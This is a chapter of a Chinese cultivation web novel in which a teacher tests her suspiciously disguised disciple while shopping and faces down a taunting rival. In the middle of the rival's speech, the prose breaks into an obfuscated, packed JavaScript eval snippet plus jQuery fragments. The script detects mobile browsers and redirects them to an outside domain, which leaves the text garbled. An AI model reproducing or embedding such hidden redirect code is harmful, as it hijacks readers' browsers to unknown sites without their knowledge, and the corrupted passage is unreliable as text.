出门,采购物资是必不可少的,伤好了以后,路易之便带着姜瑾出门了。
四明城中有专门的物资售卖街道,里面喧嚣吵闹,人声鼎沸,各色灵植、丹药、符箓的摊子紧紧凑凑的挨在一起,路易之很喜欢这种热闹的感觉。
她身旁,姜瑾安静地跟着,一身青衣门标志性的粉色弟子裙裳,衬得他肤色愈发白皙,高高的马尾束在身后,是有些雌雄莫辨的。
路易之用眼角余光扫过他的侧脸,心里的小鼓敲得咚咚响。姜瑾,绝对是有问题的,这几天有时偶尔一闪而过的、过于怪异的眼神,某些下意识作出的小动作,虽然他伪装的很好,但也不是一个全家被杀,孤苦伶仃寄人篱下的孤儿能有的。
“阿瑾,”路易之停下脚步,脸上带着笑,指向旁边一家门面光鲜的成衣铺子说道:“出门游历,风餐露宿的,得多备几身换洗衣裳,走,我带你挑几件好的。”
姜瑾抬眼,眸子里立刻漾起恰到好处的欣喜:“嗯,都听小师父的。”
铺子里挂着琳琅满目的衣裙,料子从普通的细棉到流光溢彩的纱都有。路易之有意逗他,所以目标明确,直接掠过那些素净或中性的款式,手指精准地戳向一套摆在显眼处的胭脂色罗裙。那裙子颜色极正,裙摆层层叠叠,绣着复杂的花纹,甚至还缀着小珍珠。
“阿瑾,你看这套怎么样?”路易之拿起裙子,在姜瑾身前比划,笑容灿烂得能晃花人眼,“这颜色衬你诶,样式也好看。”
她一边说,一边仔细观察着姜瑾脸上的每一丝细微变化。
姜瑾的身体几不可察地僵了那么一瞬。胭胭脂色、罗裙、珍珠,若是真的姜瑾可能会喜欢。他垂在身侧的手松松紧紧,犹豫着要不要伸出手去接,几经犹豫,还是下不了手。
姜瑾微微侧过头,避开那刺眼的红色,长睫快速颤动几下,再抬起眼时,眼底已是羞怯的水光。他伸出手,小心翼翼地拽住路易之宽大的衣袖一角,轻轻晃了晃,声音低低的,带着点委屈的鼻音:“小师父,这颜色,是不是太、太艳丽了些?外出游历,难免磕磕碰碰,穿着朴素的就好,这也太华贵了。”耳尖恰到好处地染上一层薄红。
路易之看着他这副小兔子般惹人怜爱的模样,心里那点试探的恶趣味诡异地得到了一点满足,她可真是活够了,上赶着招惹小反派。演,接着演呗!奥斯卡都欠你一座小金人!养伤这几天,她可是观察的分明,也试探了一百回,姜瑾就算没有完全恢复记忆,也恢复了七七八八。
只是不知道这个反派大佬,恢复之后还死死赖在她身边干什么?还上赶着让她欺负,这几天不管她提出什么离谱的要求,吃的喝的,竟然都给她做到了。
不过,他既然想装,那就继续装吧,只要不阻拦自己的修仙之路,她就当养了个宠物,养了个大白菜。
“女孩子嘛,就是要穿得鲜亮点!”路易之故意把声音拔高几分,惹得旁边挑布料的几个女修好奇地望过来。她无视姜瑾更红的耳根,继续逗弄,“再说了,阿瑾这么好看,穿什么都好看!”
她一边把那条胭脂裙塞给殷勤迎上来的伙计打包,一边状似不经意地、用闲聊般的口吻问,“对了,阿瑾,你说咱们出门在外,万一遇到什么特殊情况,要不要给你备两套男装?以备不时之需?”
这句话问得轻飘飘,却在姜瑾心里掀起万丈波澜。
他猛地抬起头,那双漂亮的眸子里满是难以置信的慌乱和无措,仿佛路易之说了什么大逆不道的话。他松开抓着路易之袖子的手,连连后退半步,白皙的脸颊“腾”地一下红透了,一直蔓延到纤细的脖颈。
“小师父!”他声音都带了点急出来的哭腔,“您、您说什么呢!我是女子啊!怎能穿男子的衣裳!这成何体统!”他羞得几乎要把头埋进胸口,只露出一个红得滴血的耳朵尖。
在姜瑾看不到的地方,眼神幽深,小师父是不是知道了什么?为什么会突然让他买男装,她是发现了吗?会把他赶出青衣门吗?
姜瑾的反应,纯真、羞恼、带着少女特有的矜持,完美得无懈可击。
路易之咬咬牙,行,你狠,算你演得好。
她心里那点怀疑被这过于逼真的“少女娇羞”堵得不上不下,只能干笑两声,拍拍姜瑾紧绷的肩膀:“好了好了,师父逗你玩呢!瞧把你急的,不买就不买,咱们阿瑾天生丽质,穿什么都好看!伙计,刚才那套胭脂色的,再拿两件出门方便的劲装,都包起来!”
姜瑾这才怯怯地抬起头,水汪汪的眼睛控诉地看着路易之,小声嘟囔:“师父,您下次莫要这样吓唬弟子了。”
路易之嘴角抽了抽,付了灵石,拎起伙计递来的包裹塞进储物袋,拉着她这位演技炸裂的小徒弟走出成衣铺。
两人刚走到街角一家专卖符箓灵材的铺子前,一道带着讥诮和幸灾乐祸的女声传了过来。
“哟!我当是谁呢!这不是我们尊贵的姜家大小姐——姜瑾吗?”
路易之和姜瑾同时顿住脚步,路易之不可思议的回头,想看看是谁这么胆大惹到小反派身上。
只见一个穿着鹅黄锦缎裙衫、满头珠翠的小姑娘,在几个丫鬟的簇拥下,摇着一柄团扇慢悠悠的走了过来。她年纪不大,但画着精致的妆容,眉梢眼角刻满了毫不掩饰的恶意,死死盯着姜瑾。
似乎是姜家尚在时,便处处与姜家小姐针锋相对的赵家小姐,赵明月,路易之依稀记得,和她一样,是个小炮灰。只是可惜,她现在认错人了,眼前人是姜瑾,不是姜家大小姐。
赵明月用团扇掩着嘴,咯咯笑了两声,声音又尖又利,瞬间吸引了周围不少路人的目光:“啧啧,瞧瞧,这身青衣门的皮披着,还真像那么回事儿,姜大小姐,哦不……”
她故意拖长了调子,带着恶毒的玩味:“现在可不能称一句大小姐了,全家都死绝了,连个坟头哭丧的人都没剩下吧?真是可怜见的。”
她绕着姜瑾走了半圈,目光像探照灯一样上下扫视,鄙夷几乎要溢出来:“听说你是靠着你那点杂得不能再杂的灵根,死皮赖脸求进青衣门的?呵,一个废灵根,也不知使了什么下作手段,哄得人家收了你。要我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15860993|176024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说啊,趁早自己滚出来吧,省得日后被灰溜溜地赶出来,那才真是丢尽了你们姜家最后一点脸面!”
字字诛心,句句恶毒。
路易之感觉一股火气“噌”地一下从脚底板直冲头顶。欺负她徒弟?当她是死的?!
她一步跨前,将明显“瑟瑟发抖”的姜瑾严严实实挡在自己身后。筑基期的气势虽不算强大,但对于赵明月也够用了。
路易之下巴微扬,目光冷冽地扫过赵明月那身刺眼的鹅黄和满头的珠翠,嘴角勾起一个毫不掩饰的嘲讽弧度。
“我当是哪只野狗大清早在街上狂吠,原来是赵小姐。”她的声音不大,却清晰地穿透了周围的嘈杂,带着一种居高临下的冷意。
赵明月脸上的得意瞬间僵住,像是被人狠狠扇了一巴掌,涨得通红,说话都结巴了:“你,你骂谁!”
路易之嗤笑一声,目光意有所指地扫过她发间一支颤巍巍的金步摇,“赵小姐记性怕是不太好,姜家刚遭大难,尸骨未寒,赵家身为昔日‘故交’,不说披麻戴孝感念旧情,反倒穿金戴银、涂脂抹粉地跑到苦主面前来耀武扬威?知道的,说你是没心肝;不知道的,还以为你赵家迫不及待想接手姜家的‘福气’呢!”
“噗嗤!”旁边看热闹的人群里有人忍不住笑出了声。
赵明月气得浑身发抖,指着路易之,手指哆嗦道:“你,你个小贱人!敢咒我赵家?!你算什么东西!不过就是筑基期,我赵家也是有金丹长老的!”
“我算什么东西?”路易之冷冷打断她,眼神如冰刀,“我是姜瑾的师父!就凭这一点,就比你这种落井下石、毫无廉耻的东西高贵千百倍!青衣门收徒自有规矩,轮不到你一个外人在此狺狺狂吠!再敢对我门弟子出言不逊,信不信我现在就替你爹娘管教管教你,教教你什么叫祸从口出!金丹是什么值钱的东西吗?我青衣门掌门可是元婴大能。”
罪过罪过,拼长辈,谁不会?青衣门或许放在朱雀大陆上不够看,但在四明城也够用了。
赵明月只是个被家族娇惯的千金小姐,哪里懂得轻重,只以为是寻常女修之间的斗嘴,听此脸色瞬间煞白,蹬蹬连退好几步,被身后的丫鬟慌忙扶住才没跌倒,瞧着狼狈不堪,她看着路易之冰冷的眼神,再看看周围人群指指点点的样子,又羞又恼又怕,嘴唇哆嗦着,却再也吐不出半个字。
“阿瑾,我们走。”路易之懒得再看她一眼,拉起姜瑾的手,转身就走。动作干脆利落,背影透着股飒爽的劲儿。
姜瑾被她拉着,顺从地跟在后面。他的头依旧低垂着,只是,在被路易之拉着转身、背对赵明月和所有围观者的那一瞬间,他微微侧过头,眼角的余光,像毒针,精准地钉在了赵明月那张因愤怒和恐惧而扭曲的脸上。
那眼神,哪里还有半分怯懦和委屈?只有一片深不见底的,翻涌着毁灭欲望的幽暗深渊。看着赵明月仿佛是在看一个物件。
赵明月被那惊鸿一瞥的冰冷眼神骇得心脏骤停,一股寒气从脚底板直冲天灵盖,连尖叫都卡在了喉咙里,只剩下颤抖。